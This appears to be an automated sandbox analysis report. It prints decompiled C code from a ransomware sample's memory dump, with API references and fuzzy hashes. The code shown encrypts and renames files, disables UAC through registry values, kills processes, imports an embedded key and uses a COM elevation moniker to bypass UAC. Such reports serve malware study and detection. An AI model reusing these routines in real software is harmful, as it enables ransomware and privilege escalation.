													 *( *(_t707 + 8))(_v48);
													__imp__CoUninitialize();
													_v106 = 0;
													E00AA8170();
												}
											} else {
												_t929 =  *_v52;
												 *((intOrPtr*)( *((intOrPtr*)( *_v52 + 8))))(_v52);
												__imp__CoUninitialize();
												_v120 = 0;
												E00AA8170();
											}
										} else {
											_t715 =  *_v56;
											_t929 =  *(_t715 + 8);
											 *( *(_t715 + 8))(_v56);
											__imp__CoUninitialize();
											_v105 = 0;
											E00AA8170();
										}
									} else {
										_t929 = _v56;
										 *((intOrPtr*)( *((intOrPtr*)( *_v56 + 8))))(_v56);
										__imp__CoUninitialize();
										_v103 = 0;
										E00AA8170();
									}
								} else {
									__imp__CoUninitialize();
									_v101 = 0;
									E00AA8170();
								}
							} else {
								__imp__CoUninitialize();
								_v123 = 0;
								E00AA8170();
							}
						} else {
							_v122 = 0;
							E00AA8170();
						}
					} else {
						_v121 = 0;
						E00AA8170();
					}
				}
				 *[fs:0x0] = _v16;
				return E00ADA4E2(_t732, _v20 ^ _t1034, _t929, _t1032, _t1033);
			}

0x00ac03b0
0x00ac03b0
0x00ac03b0
0x00ac03b0
0x00ac03b3
0x00ac03b5
0x00ac03c0
0x00ac03c1
0x00ac03c7
0x00ac03cc
0x00ac03ce
0x00ac03d1
0x00ac03d5
0x00ac03db
0x00ac03eb
0x00ac0401
0x00ac0409
0x00ac040e
0x00ac0411
0x00ac0413
0x00ac042d
0x00ac0433
0x00ac0435
0x00ac045d
0x00ac0463
0x00ac0465
0x00ac0481
0x00ac0488
0x00ac049a
0x00ac04a0
0x00ac04a2
0x00ac04c4
0x00ac04cb
0x00ac04d4
0x00ac04dd
0x00ac04e6
0x00ac04f2
0x00ac04f9
0x00ac0502
0x00ac050b
0x00ac0514
0x00ac0520
0x00ac0527
0x00ac0530
0x00ac0539
0x00ac0542
0x00ac054e
0x00ac0555
0x00ac055e
0x00ac0567
0x00ac0570
0x00ac0576
0x00ac0579
0x00ac0581
0x00ac0589
0x00ac0592
0x00ac059b
0x00ac059e
0x00ac05a1
0x00ac05a9
0x00ac05b1
0x00ac05ba
0x00ac05c3
0x00ac05c6
0x00ac05c9
0x00ac05d1
0x00ac05d9
0x00ac05e2
0x00ac05eb
0x00ac05ee
0x00ac05f1
0x00ac05f9
0x00ac0601
0x00ac060a
0x00ac0613
0x00ac0622
0x00ac0624
0x00ac0626
0x00ac0634
0x00ac0628
0x00ac0628
0x00ac0628
0x00ac0644
0x00ac064d
0x00ac0658
0x00ac0663
0x00ac066e
0x00ac0677
0x00ac0679
0x00ac06a3
0x00ac06d2
0x00ac06d4
0x00ac06d6
0x00ac06e1
0x00ac06d8
0x00ac06d8
0x00ac06d8
0x00ac06eb
0x00ac06f4
0x00ac06fd
0x00ac06ff
0x00ac0753
0x00ac075b
0x00ac0760
0x00ac077b
0x00ac078a
0x00ac078c
0x00ac0790
0x00ac07ba
0x00ac07d1
0x00ac07d3
0x00ac07d5
0x00ac0819
0x00ac081b
0x00ac081f
0x00ac0857
0x00ac086e
0x00ac0870
0x00ac0872
0x00ac08aa
0x00ac08c5
0x00ac08d4
0x00ac08d6
0x00ac08da
0x00ac0912
0x00ac092f
0x00ac093e
0x00ac0940
0x00ac0944
0x00ac09a0
0x00ac09a8
0x00ac09b9
0x00ac09e5
0x00ac09ed
0x00ac09f8
0x00ac0a0d
0x00ac0a10
0x00ac0a14
0x00ac0a5a
0x00ac0a73
0x00ac0a7b
0x00ac0a82
0x00ac0a84
0x00ac0a88
0x00ac0af5
0x00ac0afa
0x00ac0b26
0x00ac0b2f
0x00ac0b3a
0x00ac0b45
0x00ac0b50
0x00ac0b61
0x00ac0b63
0x00ac0b67
0x00ac0b9f
0x00ac0bb6
0x00ac0bb8
0x00ac0bba
0x00ac0bf2
0x00ac0c0d
0x00ac0c1c
0x00ac0c1e
0x00ac0c22
0x00ac0c5a
0x00ac0c77
0x00ac0c86
0x00ac0c88
0x00ac0c8c
0x00ac0cee
0x00ac0cf7
0x00ac0cfc
0x00ac0d00
0x00ac0d56
0x00ac0d58
0x00ac0d5a
0x00ac0d6d
0x00ac0d7f
0x00ac0d7f
0x00ac0d81
0x00ac0d93
0x00ac0d9a
0x00ac0da3
0x00ac0dac
0x00ac0db5
0x00ac0dd2
0x00ac0dd9
0x00ac0de2
0x00ac0deb
0x00ac0df4
0x00ac0e11
0x00ac0e18
0x00ac0e21
0x00ac0e2a
0x00ac0e33
0x00ac0e3d
0x00ac0e40
0x00ac0e48
0x00ac0e50
0x00ac0e59
0x00ac0e62
0x00ac0e67
0x00ac0e6a
0x00ac0e72
0x00ac0e7a
0x00ac0e83
0x00ac0e8c
0x00ac0e92
0x00ac0e9a
0x00ac0ea2
0x00ac0eab
0x00ac0eb4
0x00ac0ee7
0x00ac0ef0
0x00ac0efb
0x00ac0f06
0x00ac0f11
0x00ac0f1c
0x00ac0f27
0x00ac0f2c
0x00ac0f30
0x00ac0f71
0x00ac0f7f
0x00ac0f84
0x00ac0f8d
0x00ac0f8f
0x00ac0f95
0x00ac0f9c
0x00ac0f32
0x00ac0f3e
0x00ac0f43
0x00ac0f4c
0x00ac0f4e
0x00ac0f54
0x00ac0f5b
0x00ac0f60
0x00ac0d02
0x00ac0d0e
0x00ac0d1c
0x00ac0d23
0x00ac0d2a
0x00ac0d2c
0x00ac0d32
0x00ac0d39
0x00ac0d3e
0x00ac0c8e
0x00ac0c9a
0x00ac0c9f
0x00ac0ca5
0x00ac0ca8
0x00ac0caa
0x00ac0cb0
0x00ac0cb7
0x00ac0cbc
0x00ac0c24
0x00ac0c30
0x00ac0c37
0x00ac0c3e
0x00ac0c40
0x00ac0c46
0x00ac0c4d
0x00ac0c52
0x00ac0bbc
0x00ac0bc8
0x00ac0bcd
0x00ac0bd6
0x00ac0bd8
0x00ac0bde
0x00ac0be5
0x00ac0bea
0x00ac0b69
0x00ac0b75
0x00ac0b7c
0x00ac0b83
0x00ac0b85
0x00ac0b8b
0x00ac0b92
0x00ac0b97
0x00ac0a8a
0x00ac0a96
0x00ac0a9b
0x00ac0aa4
0x00ac0aa6
0x00ac0aac
0x00ac0ab3
0x00ac0ab8
0x00ac0a16
0x00ac0a22
0x00ac0a30
0x00ac0a35
0x00ac0a3b
0x00ac0a3e
0x00ac0a40
0x00ac0a46
0x00ac0a4d
0x00ac0a52
0x00ac0946
0x00ac0952
0x00ac0957
0x00ac0960
0x00ac0962
0x00ac0968
0x00ac096f
0x00ac0974
0x00ac08dc
0x00ac08e8
0x00ac08ed
0x00ac08f3
0x00ac08f6
0x00ac08f8
0x00ac08fe
0x00ac0905
0x00ac090a
0x00ac0874
0x00ac0880
0x00ac0887
0x00ac088e
0x00ac0890
0x00ac0896
0x00ac089d
0x00ac08a2
0x00ac0821
0x00ac082d
0x00ac0832
0x00ac0838
0x00ac083b
0x00ac083d
0x00ac0843
0x00ac084a
0x00ac084f
0x00ac07d7
0x00ac07e3
0x00ac07e8
0x00ac07ee
0x00ac07f1
0x00ac07f3
0x00ac07f9
0x00ac0800
0x00ac0805
0x00ac0792
0x00ac0795
0x00ac079e
0x00ac07a0
0x00ac07a6
0x00ac07ad
0x00ac07b2
0x00ac0701
0x00ac0704
0x00ac070a
0x00ac070d
0x00ac070f
0x00ac0715
0x00ac071c
0x00ac0721
0x00ac067b
0x00ac0680
0x00ac0687
0x00ac0689
0x00ac068f
0x00ac0696
0x00ac069b
0x00ac04a4
0x00ac04a4
0x00ac04aa
0x00ac04b1
0x00ac04b6
0x00ac0467
0x00ac0467
0x00ac046d
0x00ac0474
0x00ac0479
0x00ac0437
0x00ac0437
0x00ac043e
0x00ac0443
0x00ac0415
0x00ac0415
0x00ac041c
0x00ac0421
0x00ac0413
0x00ac0fa7
0x00ac0fbc

APIs

std::ios_base::good.LIBCPMTD ref: 00AC03E1
std::ios_base::good.LIBCPMTD ref: 00AC0409
CoInitializeEx.OLE32(00000000,00000000,00000000,80D348A2), ref: 00AC042D
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 00AC045D
CoUninitialize.OLE32 ref: 00AC0467

Strings

Trigger1, xrefs: 00AC097C

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Initializestd::ios_base::good$SecurityUninitialize
String ID: Trigger1
API String ID: 2243624303-1869269927
Opcode ID: c354e54b47a6f869d9d7ab59be407680ed437172ec8dfc674fe36ab8d4ab4273
Instruction ID: 0dc1a06fbfea25fef59b00d82b294737e4482461f633051450065e3a2889aef6
Opcode Fuzzy Hash: c354e54b47a6f869d9d7ab59be407680ed437172ec8dfc674fe36ab8d4ab4273
Instruction Fuzzy Hash: 1492C574A00618DFCB18DBA8D994FDDB7B5BF89300F158198E519AB3A1DB30AD86CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00AB61C0, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 136
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E00AB61C0(void* __ebx, signed int __ecx, char __edx, void* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8) {
				char _v16;
				signed int _v20;
				long* _v24;
				char _v48;
				char _v49;
				char _v50;
				signed int _v56;
				void* _v60;
				char _v84;
				void* __ebp;
				signed int _t43;
				signed int _t44;
				signed char _t46;
				signed int _t50;
				signed int _t54;
				signed char _t66;
				WCHAR* _t73;
				int _t75;
				signed int _t108;

				_t107 = __esi;
				_t106 = __edi;
				_t103 = __edx;
				_t79 = __ebx;
				_push(0xffffffff);
				_push(E00B11640);
				_push( *[fs:0x0]);
				_t43 =  *0xb42074; // 0x80d348a2
				_t44 = _t43 ^ _t108;
				_v20 = _t44;
				_push(_t44);
				 *[fs:0x0] =  &_v16;
				_v56 = __ecx;
				if(_a8 != 0) {
					_v49 = 0;
					_t46 = E00AA7FA0(_a4);
					__eflags = _t46 & 0x000000ff;
					if((_t46 & 0x000000ff) == 0) {
						E00ABF350(__ebx, _v56, __edi, __esi, E00AA1700(_a4));
						_v24 = 0;
						_t103 =  &_v24;
						_t50 = _v56;
						__imp__CryptDuplicateKey( *((intOrPtr*)(_t50 + 0x10)), 0, 0,  &_v24);
						__eflags = _t50;
						if(_t50 != 0) {
							_t54 = GetFileAttributesW(E00AA8040());
							SetFileAttributesW(E00AA8040(), _t54 & 0xfffffffe);
							_v60 = CreateFileW(E00AA8040(), 0xc0000000, 0, 0, 3, 0x80, 0);
							__eflags = _v60 - 0xffffffff;
							if(__eflags != 0) {
								E00AA16F0(E00AB7030(__ebx, __edi, __eflags,  &_v84, L"Encrypt file: ", _a4), _v56, _t62);
								E00AA8170();
								_t103 = _v60;
								_t66 = E00AB6370(__ebx, _v56, _v60, __edi, __esi, _v24, _v60, _a8);
								__eflags = _t66 & 0x000000ff;
								if((_t66 & 0x000000ff) == 0) {
									CloseHandle(_v60);
								} else {
									CloseHandle(_v60);
									E00AB7100(__ebx, __edi,  &_v48, _a4, E00AB2870(0xb469a8));
									_t73 = E00AA8040();
									_t75 = MoveFileExW(E00AA8040(), _t73, 1);
									__eflags = _t75;
									if(_t75 == 0) {
										_v50 = 0;
									} else {
										_v50 = 1;
									}
									_t103 = _v50;
									_v49 = _v50;
									E00AA8170();
								}
							}
							CryptDestroyKey(_v24);
						}
					}
				}
				 *[fs:0x0] = _v16;
				return E00ADA4E2(_t79, _v20 ^ _t108, _t103, _t106, _t107);
			}

0x00ab61c0
0x00ab61c0
0x00ab61c0
0x00ab61c0
0x00ab61c3
0x00ab61c5
0x00ab61d0
0x00ab61d4
0x00ab61d9
0x00ab61db
0x00ab61de
0x00ab61e2
0x00ab61e8
0x00ab61ef
0x00ab61f8
0x00ab61ff
0x00ab6207
0x00ab6209
0x00ab6223
0x00ab6228
0x00ab622f
0x00ab6237
0x00ab623e
0x00ab6244
0x00ab6246
0x00ab6255
0x00ab6268
0x00ab628f
0x00ab6292
0x00ab6296
0x00ab62b5
0x00ab62bd
0x00ab62c6
0x00ab62d1
0x00ab62d9
0x00ab62db
0x00ab633e
0x00ab62dd
0x00ab62e1
0x00ab62fa
0x00ab6307
0x00ab6316
0x00ab631c
0x00ab631e
0x00ab6326
0x00ab6320
0x00ab6320
0x00ab6320
0x00ab632a
0x00ab632d
0x00ab6333
0x00ab6333
0x00ab62db
0x00ab6348
0x00ab6348
0x00ab634e
0x00ab6209
0x00ab6354
0x00ab6369

APIs

std::ios_base::good.LIBCPMTD ref: 00AB61FF

Strings

Encrypt file: , xrefs: 00AB62A0

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::ios_base::good
String ID: Encrypt file:
API String ID: 3100596842-1875570356
Opcode ID: b866434a76be68f658c5f958f8607369ca2f310ecea1327c1bc6b71b1fc341cf
Instruction ID: db08d7003618be7b5b1a94990a9d70a0b1c3810b30d27401f5e26128089108b8
Opcode Fuzzy Hash: b866434a76be68f658c5f958f8607369ca2f310ecea1327c1bc6b71b1fc341cf
Instruction Fuzzy Hash: 99516675900208AFCB14EFA4DD55BEE7BB9AF49700F108119F516AB2D2DF78D944CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00AC18D0, Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 119COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00AC190B
CLSIDFromString.OLE32({3E5FC7F9-9A51-4367-9063-A120244FBEC7},?), ref: 00AC193F
IIDFromString.OLE32({6EDD6D74-C007-4E75-B76A-E5740995E24C},?), ref: 00AC1973
CoGetObject.OLE32(?,00000024,?,00000000), ref: 00AC1A14
CoUninitialize.OLE32 ref: 00AC1A8D

Strings

{3E5FC7F9-9A51-4367-9063-A120244FBEC7}, xrefs: 00AC193A
{6EDD6D74-C007-4E75-B76A-E5740995E24C}, xrefs: 00AC196E
$, xrefs: 00AC19DA
Elevation:Administrator!new:, xrefs: 00AC1997
{3E5FC7F9-9A51-4367-9063-A120244FBEC7}, xrefs: 00AC19B0

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: FromString$InitializeObjectUninitialize
String ID: $$Elevation:Administrator!new:${3E5FC7F9-9A51-4367-9063-A120244FBEC7}${3E5FC7F9-9A51-4367-9063-A120244FBEC7}${6EDD6D74-C007-4E75-B76A-E5740995E24C}
API String ID: 4269042312-220260661
Opcode ID: e75853f22b111f82aad7cb664a3b0c71a6af4a9cfc3db3bd9b1e20f5f7b28ffc
Instruction ID: 603e0f3088230a5905687a89d412ae2fecfe82f2036df4e2195222e26bb57eb6
Opcode Fuzzy Hash: e75853f22b111f82aad7cb664a3b0c71a6af4a9cfc3db3bd9b1e20f5f7b28ffc
Instruction Fuzzy Hash: 3B417EB1E44318ABCB64EF64DC89FEAB7F4AB48700F1042DDE509A7291EB745A84CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00AC1800, Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 62
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00AC1800(void* __ebx, intOrPtr __ecx, void* __edi, void* __esi, void* __eflags) {
				signed int _v8;
				char _v12;
				char _v16;
				void* _v20;
				intOrPtr _v24;
				void* __ebp;
				signed int _t15;
				void* _t28;
				void* _t38;
				void* _t39;
				signed int _t40;

				_t39 = __esi;
				_t38 = __edi;
				_t28 = __ebx;
				_t15 =  *0xb42074; // 0x80d348a2
				_v8 = _t15 ^ _t40;
				_v24 = __ecx;
				if((E00AC1730(_v24) & 0x000000ff) != 0) {
					if(RegOpenKeyExW(0x80000002, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, 0x20006,  &_v20) == 0) {
						_v12 = 0;
						RegSetValueExW(_v20, L"EnableLUA", 0, 4,  &_v12, 4);
						RegCloseKey(_v20);
					}
					_t36 =  &_v20;
					if(RegOpenKeyExW(0x80000002, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, 0x20006,  &_v20) == 0) {
						_v16 = 0;
						RegSetValueExW(_v20, L"ConsentPromptBehaviorAdmin", 0, 4,  &_v16, 4);
						_t36 = _v20;
						RegCloseKey(_v20);
					}
				}
				return E00ADA4E2(_t28, _v8 ^ _t40, _t36, _t38, _t39);
			}

0x00ac1800
0x00ac1800
0x00ac1800
0x00ac1806
0x00ac180d
0x00ac1810
0x00ac1820
0x00ac1843
0x00ac1845
0x00ac185f
0x00ac1869
0x00ac1869
0x00ac186f
0x00ac188c
0x00ac188e
0x00ac18a8
0x00ac18ae
0x00ac18b2
0x00ac18b2
0x00ac188c
0x00ac18c5

APIs

Part of subcall function 00AC1730: GetCurrentProcess.KERNEL32(00000008,00000000), ref: 00AC1754
Part of subcall function 00AC1730: OpenProcessToken.ADVAPI32(00000000), ref: 00AC175B
Part of subcall function 00AC1730: GetTokenInformation.ADVAPI32(00000000,00000014(TokenIntegrityLevel),?,00000004,00000004), ref: 00AC1781
Part of subcall function 00AC1730: CloseHandle.KERNEL32(00000000), ref: 00AC17AB

RegOpenKeyExW.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System,00000000,00020006,?,?,?,?,?,00AA6212,{8761ABBD-7F85-42EE-B272-A76179687C63}), ref: 00AC183B
RegSetValueExW.ADVAPI32(?,EnableLUA,00000000,00000004,00000000,00000004), ref: 00AC185F
RegCloseKey.ADVAPI32(?), ref: 00AC1869
RegOpenKeyExW.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System,00000000,00020006,?,?,?,?,?,00AA6212,{8761ABBD-7F85-42EE-B272-A76179687C63}), ref: 00AC1884
RegSetValueExW.ADVAPI32(?,ConsentPromptBehaviorAdmin,00000000,00000004,00000000,00000004), ref: 00AC18A8
RegCloseKey.ADVAPI32(?), ref: 00AC18B2

Strings

SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System, xrefs: 00AC1831
SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System, xrefs: 00AC187A
ConsentPromptBehaviorAdmin, xrefs: 00AC189F
EnableLUA, xrefs: 00AC1856

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CloseOpen$ProcessTokenValue$CurrentHandleInformation
String ID: ConsentPromptBehaviorAdmin$EnableLUA$SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System$SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
API String ID: 884832700-751489972
Opcode ID: ac581412acd287c93179c18702a310a790cf50d16e97cd0988f4c91b0ad65f28
Instruction ID: 0793a0d8b5365696656150f2e31b7500c0154f8cda9213fed0b6985fbc29cf26
Opcode Fuzzy Hash: ac581412acd287c93179c18702a310a790cf50d16e97cd0988f4c91b0ad65f28
Instruction Fuzzy Hash: 7B1100B0B40319EBEB24DBD0DC5AFBEB775FB48B00F90454CB611A7191DA70A504DB65

Uniqueness

Uniqueness Score: -1.00%

Function 00ABF660, Relevance: 12.1, APIs: 8, Instructions: 94
processCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E00ABF660(void* __ebx, intOrPtr __ecx, void* __edi, void* __esi, intOrPtr _a4) {
				char _v16;
				signed int _v20;
				char _v21;
				char _v544;
				long _v572;
				void* _v580;
				signed char _v581;
				void* _v588;
				char _v589;
				void* _v596;
				intOrPtr _v600;
				char _v624;
				void* __ebp;
				signed int _t31;
				signed int _t32;
				struct tagPROCESSENTRY32W* _t40;
				void* _t53;
				void* _t73;
				signed int _t74;

				_t73 = __esi;
				_t72 = __edi;
				_t53 = __ebx;
				_push(0xffffffff);
				_push(E00B12000);
				_push( *[fs:0x0]);
				_t31 =  *0xb42074; // 0x80d348a2
				_t32 = _t31 ^ _t74;
				_v20 = _t32;
				_push(_t32);
				 *[fs:0x0] =  &_v16;
				_v600 = __ecx;
				_v589 = 0;
				if((E00AA7FA0(_a4) & 0x000000ff) == 0) {
					_v588 = CreateToolhelp32Snapshot(2, 0);
					if(_v588 == 0xffffffff) {
						goto L8;
					} else {
						E00AF1C70(__edi,  &_v580, 0, 0x22c);
						_v580 = 0x22c;
						_t40 =  &_v580;
						Process32FirstW(_v588, _t40);
						if(_t40 == 0) {
							L7:
							_t68 = _v588;
							CloseHandle(_v588);
							goto L8;
						} else {
							do {
								E00AA8340( &_v544);
								_v581 = E00ABF7D0( &_v21, _a4,  &_v624);
								E00AA8170();
								if((_v581 & 0x000000ff) == 0) {
									goto L6;
								} else {
									_v596 = OpenProcess(1, 0, _v572);
									if(_v596 == 0) {
										goto L6;
									} else {
										TerminateProcess(_v596, 0);
										_t68 = _v596;
										CloseHandle(_v596);
									}
								}
								goto L9;
								L6:
							} while (Process32NextW(_v588,  &_v580) != 0);
							goto L7;
						}
					}
				}
				L9:
				 *[fs:0x0] = _v16;
				return E00ADA4E2(_t53, _v20 ^ _t74, _t68, _t72, _t73);
			}

0x00abf660
0x00abf660
0x00abf660
0x00abf663
0x00abf665
0x00abf670
0x00abf677
0x00abf67c
0x00abf67e
0x00abf681
0x00abf685
0x00abf68b
0x00abf693
0x00abf6a6
0x00abf6b6
0x00abf6c3
0x00000000
0x00abf6c9
0x00abf6d7
0x00abf6df
0x00abf6e9
0x00abf6f7
0x00abf6ff
0x00abf7a2
0x00abf7a2
0x00abf7a9
0x00000000
0x00abf705
0x00abf705
0x00abf712
0x00abf72a
0x00abf736
0x00abf744
0x00000000
0x00abf746
0x00abf757
0x00abf764
0x00000000
0x00abf766
0x00abf76f
0x00abf775
0x00abf77c
0x00abf782
0x00abf764
0x00000000
0x00abf786
0x00abf79a
0x00000000
0x00abf705
0x00abf6ff
0x00abf6c3
0x00abf7b1
0x00abf7b4
0x00abf7c9

APIs

std::ios_base::good.LIBCPMTD ref: 00ABF69C
CreateToolhelp32Snapshot.KERNEL32 ref: 00ABF6B0
Process32FirstW.KERNEL32(000000FF,0000022C), ref: 00ABF6F7
OpenProcess.KERNEL32(00000001,00000000,?,00AA6664,?,?), ref: 00ABF751
TerminateProcess.KERNEL32(00000000,00000000), ref: 00ABF76F
CloseHandle.KERNEL32(00000000), ref: 00ABF77C
Process32NextW.KERNEL32(000000FF,0000022C), ref: 00ABF794
CloseHandle.KERNEL32(000000FF), ref: 00ABF7A9

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32std::ios_base::good
String ID:
API String ID: 1555044973-0
Opcode ID: fc9a034e3758bc23ba0425f414e9d2b474bf138b51bee7b3b2f2bbe0be36ad68
Instruction ID: b8107e2f058375ec55bd842e7ea7bb15253cdac5efe16f0458a8156e1046ad48
Opcode Fuzzy Hash: fc9a034e3758bc23ba0425f414e9d2b474bf138b51bee7b3b2f2bbe0be36ad68
Instruction Fuzzy Hash: D3413975904218AFCB24DBA0DC98BEEB7B8FB48700F5442E9E509A7291DF745A84CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00AB68D0, Relevance: 12.1, APIs: 8, Instructions: 81
memoryencryptionCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00AB68D0(void* __ebx, intOrPtr __ecx, int __edx, void* __edi, void* __esi, intOrPtr _a4) {
				signed int _v8;
				int _v12;
				char _v13;
				void* _v20;
				intOrPtr _v24;
				void* __ebp;
				signed int _t24;
				void* _t43;
				void* _t57;
				void* _t58;
				signed int _t59;

				_t58 = __esi;
				_t57 = __edi;
				_t54 = __edx;
				_t43 = __ebx;
				_t24 =  *0xb42074; // 0x80d348a2
				_v8 = _t24 ^ _t59;
				_v24 = __ecx;
				_v13 = 0;
				if((E00AA7FA0(_a4) & 0x000000ff) == 0) {
					_v12 = 0;
					if(CryptStringToBinaryA(E00AA8480(), 0, 1, 0,  &_v12, 0, 0) != 0) {
						_t54 = _v12;
						_v20 = HeapAlloc(GetProcessHeap(), 0, _v12);
						if(_v20 != 0) {
							if(CryptStringToBinaryA(E00AA8480(), 0, 1, _v20,  &_v12, 0, 0) != 0) {
								_t54 = _v24;
								if(CryptImportKey( *(_v24 + 0xc), _v20, _v12, 0, 0, _v24 + 4) != 0) {
									_v13 = 1;
								}
							}
							HeapFree(GetProcessHeap(), 0, _v20);
						}
					}
				}
				return E00ADA4E2(_t43, _v8 ^ _t59, _t54, _t57, _t58);
			}

0x00ab68d0
0x00ab68d0
0x00ab68d0
0x00ab68d0
0x00ab68d6
0x00ab68dd
0x00ab68e0
0x00ab68e3
0x00ab68f4
0x00ab68fe
0x00ab6924
0x00ab6926
0x00ab6939
0x00ab6940
0x00ab6963
0x00ab6978
0x00ab6987
0x00ab6989
0x00ab6989
0x00ab6987
0x00ab699a
0x00ab699a
0x00ab6940
0x00ab69a0
0x00ab69b0

APIs

std::ios_base::good.LIBCPMTD ref: 00AB68EA
CryptStringToBinaryA.CRYPT32(00000000,00000000,00000001,00000000,00000000,00000000,00000000), ref: 00AB691C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00AB692C
HeapAlloc.KERNEL32(00000000), ref: 00AB6933
CryptStringToBinaryA.CRYPT32(00000000,00000000,00000001,00000000,00000000,00000000,00000000), ref: 00AB695B
CryptImportKey.ADVAPI32(?,00000000,00000000,00000000,00000000,?), ref: 00AB697F
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00AB6993
HeapFree.KERNEL32(00000000), ref: 00AB699A

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Heap$Crypt$BinaryProcessString$AllocFreeImportstd::ios_base::good
String ID:
API String ID: 3608890991-0
Opcode ID: 701a593d90b91d4e7da3681ac7309c1ec34ecc15ef23e08c02f8a02867c1bcae
Instruction ID: b09e5255586276f49dbdff289d7b0625f45b701f089d0c2d6f8629e2e7cdd6a1
Opcode Fuzzy Hash: 701a593d90b91d4e7da3681ac7309c1ec34ecc15ef23e08c02f8a02867c1bcae
